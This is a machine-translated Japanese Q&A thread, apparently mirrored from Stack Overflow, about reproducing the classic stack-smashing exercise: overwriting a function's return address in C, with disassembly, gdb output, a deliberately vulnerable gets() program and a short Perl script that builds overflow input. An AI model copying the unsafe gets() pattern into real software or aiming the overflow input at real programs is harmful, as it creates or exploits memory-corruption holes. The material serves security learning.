2013-05-27 7 views
5

私はAleph Oneの記事「fun and profitのためにスタックを粉砕しています」(http://insecure.org/stf/smashstack.html)から読み取ったstackoverflowの結果を再現しようとしています。スタックを粉砕しようとしています

返信先のアドレスを上書きしようとしても、私にとってはうまくいかないようです。

Cコード:

  void function(int a, int b, int c) { 
       char buffer1[5]; 
       char buffer2[10]; 
       int *ret; 
       //Trying to overwrite return address 
       ret = buffer1 + 12; 
       (*ret) = 0x4005da; 
      } 

      void main() { 
       int x; 

       x = 0; 
       function(1,2,3); 
       x = 1; 
       printf("%d\n",x); 
      } 

メイン分解:私は硬X = 1をスキップする復帰アドレスを符号化している

  (gdb) disassemble main 
      Dump of assembler code for function main: 
       0x00000000004005b0 <+0>:  push %rbp 
       0x00000000004005b1 <+1>:  mov %rsp,%rbp 
       0x00000000004005b4 <+4>:  sub $0x10,%rsp 
       0x00000000004005b8 <+8>:  movl $0x0,-0x4(%rbp) 
       0x00000000004005bf <+15>: mov $0x3,%edx 
       0x00000000004005c4 <+20>: mov $0x2,%esi 
       0x00000000004005c9 <+25>: mov $0x1,%edi 
       0x00000000004005ce <+30>: callq 0x400564 <function> 
       0x00000000004005d3 <+35>: movl $0x1,-0x4(%rbp) 
       0x00000000004005da <+42>: mov -0x4(%rbp),%eax 
       0x00000000004005dd <+45>: mov %eax,%esi 
       0x00000000004005df <+47>: mov $0x4006dc,%edi 
       0x00000000004005e4 <+52>: mov $0x0,%eax 
       0x00000000004005e9 <+57>: callq 0x400450 <[email protected]> 
       0x00000000004005ee <+62>: leaveq 
       0x00000000004005ef <+63>: retq 
      End of assembler dump. 

。コードライン、私は逆アセンブラ(アドレス:0x4005da)からハードコードされた値を使用しています。この悪用の意図は、0を印刷することですが、代わりに1を印刷しています。

「ret = buffer1 + 12;」という非常に強い気持ちがあります。戻りアドレスのアドレスではありません。この場合、どのように返信アドレスを決定すればいいですか?返信アドレスとバッファの間にさらに多くのメモリを割り当てていますか?

答えて

4

ここでは、私が友人のために書いたガイドです。getsを使用してバッファオーバーフロー攻撃を行っています。戻りアドレスを取得する方法と、それを使って古いアドレスを書き込む方法を説明します。

スタックの知識は、オーバーフローしようとしているバッファの後にスタックに戻りアドレスが表示されることを示しています。ただし、リターンアドレスが表示されるバッファからどれだけ離れているかは、使用しているアーキテクチャによって異なります。これを決定するために、第1のアセンブリを簡単なプログラムを書いて、検査:

Cコード:

void function() 
{ 
    char buffer[4]; 
} 

int main() 
{ 
    function(); 
} 

アセンブリ(簡略):

function: 
    pushl %ebp 
    movl %esp, %ebp 
    subl $16, %esp 
    leave 
    ret 
main: 
    leal 4(%esp), %ecx 
    andl $-16, %esp 
    pushl -4(%ecx) 
    pushl %ebp 
    movl %esp, %ebp 
    pushl %ecx 
    call function 
    ... 

あなたが使用できるいくつかのツールがあります。アセンブリコードを検査します。最初に、gcc -S main.cを使用してgccからアセンブリ出力に直接コンパイルするのはもちろん、 です。これは、元のCコードに対応するコードのヒントがほとんどないため、読みにくい場合があります。さらに、選別するのが難しい定型コードがたくさんあります。考慮すべきもう一つのツールはgdbtuiです。 gdbtuiを使用する利点は、プログラムの実行中にアセンブリソースを検査し、プログラムの実行中にスタックを手動で検査できることです。しかし、それは急な学習曲線を持っています。

私が一番好きな組立検査プログラムはobjdumpです。 objdump -dS a.outを実行すると、元のCソースコードのコンテキストを持つアセンブリソースが得られます。 objdumpを使用して、私のコンピュータで文字バッファからの戻りアドレスのオフセットは8バイトです。

この関数functionはリターンアドレスを取り、7をインクリメントします。 リターンアドレスが最初に指し示された命令は7バイトの長さであるため、7を追加すると、リターンアドレスが割り当て直後の命令を指すようになります。

以下の例では、リターンアドレスを上書きして、x = 1という命令をスキップします。

簡単なCプログラム:

void function() 
{ 
    char buffer[4]; 
    /* return address is 8 bytes beyond the start of the buffer */ 
    int *ret = buffer + 8; 
    /* assignment instruction we want to skip is 7 bytes long */ 
    (*ret) += 7; 
} 

int main() 
{ 
    int x = 0; 
    function(); 
    x = 1; 
    printf("%d\n",x); 
} 

主な機能(80483afでのx = 1は、7バイトの長さ):

8048392: 8d4c2404  lea 0x4(%esp),%ecx 
8048396: 83e4f0   and $0xfffffff0,%esp 
8048399: ff71fc   pushl -0x4(%ecx) 
804839c: 55    push %ebp 
804839d: 89e5   mov %esp,%ebp 
804839f: 51    push %ecx 
80483a0: 83ec24   sub $0x24,%esp 
80483a3: c745f800000000 movl $0x0,-0x8(%ebp) 
80483aa: e8c5ffffff  call 8048374 <function> 
80483af: c745f801000000 movl $0x1,-0x8(%ebp) 
80483b6: 8b45f8   mov -0x8(%ebp),%eax 
80483b9: 89442404  mov %eax,0x4(%esp) 
80483bd: c70424a0840408 movl $0x80484a0,(%esp) 
80483c4: e80fffffff  call 80482d8 <[email protected]> 
80483c9: 83c424   add $0x24,%esp 
80483cc: 59    pop %ecx 
80483cd: 5d    pop %ebp 

我々はリターンアドレスがどこにあるか知っていると我々はそれを変更することが実証されています実行されているコード に影響する可能性があります。バッファオーバーフローは、getsを使用して正しい文字列を入力して、戻りアドレスが新しいアドレスで上書きされるようにすることで、同じことを行うことができます。

以下の新しい例では、getsを使用してバッファを埋め込んだfunctionという関数があります。決して呼び出されない関数uncalledもあります。正しい入力で、呼び出されることはありません。

#include <stdio.h> 
#include <stdlib.h> 

void uncalled() 
{ 
    puts("uh oh!"); 
    exit(1); 
} 

void function() 
{ 
    char buffer[4]; 
    gets(buffer); 
} 

int main() 
{ 
    function(); 
    puts("program secure"); 
} 

uncalledのエントリ・ポイントのアドレスを見つけるために、objdumpまたは類似を使用して実行可能ファイルを検査し、uncalledを実行します。その後、アドレスを入力バッファに適切な場所に追加して、古い戻りアドレスを上書きします。お使いのコンピュータがリトルエンディアン(x86など)の場合は、アドレスのエンディアンを交換する必要があります。

これを正しく行うために、以下の単純なperlスクリプトがあります。このスクリプトは、リターンアドレスを上書きするバッファオーバーフローを引き起こす入力を生成します。引数には2つの引数があり、最初に新しい戻りアドレスが使用され、2番目の引数にはバッファの先頭から戻りアドレス位置までの距離(バイト単位)が使用されます。

#!/usr/bin/perl 
print "x"[email protected][1];           # fill the buffer 
print scalar reverse pack "H*", substr("0"x8 . @ARGV[0] , -8); # swap endian of input 
print "\n";             # new line to end gets 
2

buffer1+12が実際に変更するアドレスであるかどうかを調べるには、スタックを調べる必要があります。この種のものは、まったく移植性がありません。

バッファがリターンアドレスに関連して、スタック上にある場所を見ることができるように私はおそらくまた、コード内でいくつかのアイキャッチャーを置きたい:

char buffer1[5] = "1111"; 
char buffer2[10] = "2222"; 
1

あなたがプリントアウトすることで、これを把握することができますスタック。

int* pESP; 
__asm mov pESP, esp 

__asmディレクティブは、Visual Studio固有のものです。スタックのアドレスを取得したら、それを印刷してそこにあるものを見ることができます。あなたが何かをしたり電話をかけたりするとスタックが変わるので、スタックアドレスのメモリを最初にアレイにコピーしてから、アレイ全体をプリントアウトして、一度にメモリブロック全体をセーブしなければならないことに注意してください。

スタックフレームとさまざまなランタイムチェックに関連するすべての種類のゴミがあります。デフォルトでは、VSはあなたがやろうとしていることを正確に防ぐためにガードコードをスタックに入れます。 "function"のアセンブリリストを出力すると、これが表示されます。あなたは、このすべてのものをオフにするためにコンパイラスイッチを設定する必要があります。

+0

私はこの方法を使用することはできませんなぜなら、私はLinuxとGNU GCCを使用しているからです。 –

+0

@Mike、実際には 'gcc'もインライン' asm'を提供するので、_method_を使うことができます。代わりの構文に変換するだけです。 – paxdiablo

0

他の回答で提案されている方法の代わりに、gdbを使用してこのようなことを理解することができます。出力を少し読みやすくするために、私はbuffer2変数を削除し、buffer1を8バイトに変更しています。 32ビットでコンパイルすると、アドレスを読みやすくし、デバッグをオンにすることもできます(gcc -m32 -g)。

void function(int a, int b, int c) { 
    char buffer1[8]; 
    char *ret; 

それでは、バッファ1のアドレスを印刷してみましょう:

(gdb) print &buffer1 
$1 = (char (*)[8]) 0xbffffa40 

が、その後のは、その過去のビットを印刷し、スタック上に何があるか見てみましょう。

(gdb) x/16x 0xbffffa40 
0xbffffa40: 0x00001000 0x00000000 0xfecf25c3 0x00000003 
0xbffffa50: 0x00000000 0xbffffb50 0xbffffa88 0x00001f3b 
0xbffffa60: 0x00000001 0x00000002 0x00000003 0x00000000 
0xbffffa70: 0x00000003 0x00000002 0x00000001 0x00001efc 

リターンアドレスを指している必要があり場所を確認するためにバックトレースを行います。

(gdb) bt 
#0 function (a=1, b=2, c=3) at foo.c:18 
#1 0x00001f3b in main() at foo.c:26 

と案の定、そこには0xbffffa5bである:

(gdb) x/x 0xbffffa5b 
0xbffffa5b: 0x001f3bbf 
関連する問題